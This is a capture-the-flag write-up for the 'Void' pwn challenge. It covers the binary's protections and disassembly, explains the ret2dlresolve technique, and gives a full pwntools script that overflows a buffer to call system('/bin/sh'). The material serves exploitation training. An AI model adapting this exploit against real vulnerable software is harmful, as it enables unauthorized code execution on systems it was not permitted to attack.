Void

7th October 2022 / Document No. D22.102.256

Prepared By: ir0nstone

Challenge Author(s): w3th4nds

Difficulty: Easy

Classification: Official

Synopsis

Void is a medium pwn challenge that features a distinct lack of gadgets and functions, requiring us to execute a ret2dlresolve attack.

Skills Required

- Basic ROP

Skills Learned

- ret2dlresolve
- pwntools

Analysis

First of all, we start with a `checksec`:

```
Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial
```

Protections

As we can see:

Protection	Enabled	Usage
Canary	❌	Prevents **Buffer Overflows**
NX	✅	Disables **code execution** on stack
PIE	❌	Randomizes the **base address** of the binary
RelRO	**Partial**	Makes some binary sections **read-only**

The program has no interface. The only thing it has is a `main()` and a `vuln()`:

```
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  read@plt
0x0000000000401040  _start
0x0000000000401070  _dl_relocate_static_pie
0x0000000000401080  deregister_tm_clones
0x00000000004010b0  register_tm_clones
0x00000000004010f0  __do_global_dtors_aux
0x0000000000401120  frame_dummy
0x0000000000401122  vuln <-----
0x0000000000401143  main <-----
0x0000000000401160  __libc_csu_init
0x00000000004011c0  __libc_csu_fini
0x00000000004011c4  _fini
```

Disassembly

Let's take a look at `vuln()`:

```
gef➤  disass vuln
Dump of assembler code for function vuln:
   0x0000000000401122 <+0>:   push   rbp
   0x0000000000401123 <+1>:   mov    rbp,rsp
   0x0000000000401126 <+4>:   sub    rsp,0x40
   0x000000000040112a <+8>:   lea    rax,[rbp-0x40]
   0x000000000040112e <+12>:  mov    edx,0xc8
   0x0000000000401133 <+17>:  mov    rsi,rax
   0x0000000000401136 <+20>:  mov    edi,0x0
   0x000000000040113b <+25>:  call   0x401030 <read@plt>
   0x0000000000401140 <+30>:  nop
   0x0000000000401141 <+31>:  leave
   0x0000000000401142 <+32>:  ret
```

We see that it only calls `read(0, rbp-0x40, 0xc8)`. That means there is a `0x40` byte buffer and we can write `0xc8` bytes to it.

Exploitation

Plan

There are no functions in the program to print anything to stdout, only this `read()` and the buffer overflow. However, it is still linked to libc, so we can take advantage of the overflow and lack of protections to perform a `ret2dlresolve` attack.

During this attack, we essentially trick the binary into resolving a function of our choice by faking certain structures that have to exist. Once these are faked, we call the `dl-resolve()` function with offsets pointing to our fake structures, causing the linker to resolve the location of our choice of function (in our case, `system` would be most ideal).

We will first use ROP to call `read()` again, which will read in our data structures (and `/bin/sh`) and store them in a RW location of the binary that we know the location of. After that, we'll trigger the resolver to load `system`.

Execution

Luckily, the `pwntools` library has an automated module to execute the whole technique for the users.

```
from pwn import *

elf = context.binary = ELF('./void')
p = elf.process()
rop = ROP(elf)

# create a resolver for the system function
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 72)                   # padding
rop.read(0, dlresolve.data_addr)    # read in the data and structures for the
ret2dlresolve
rop.ret2dlresolve(dlresolve)        # trigger the linker to resolve system

p.sendline(rop.chain())             # send the exploit
p.sendline(dlresolve.payload)       # send the relevant structures

p.interactive()
```

It works locally! We can transfer it to remote and grab the flag.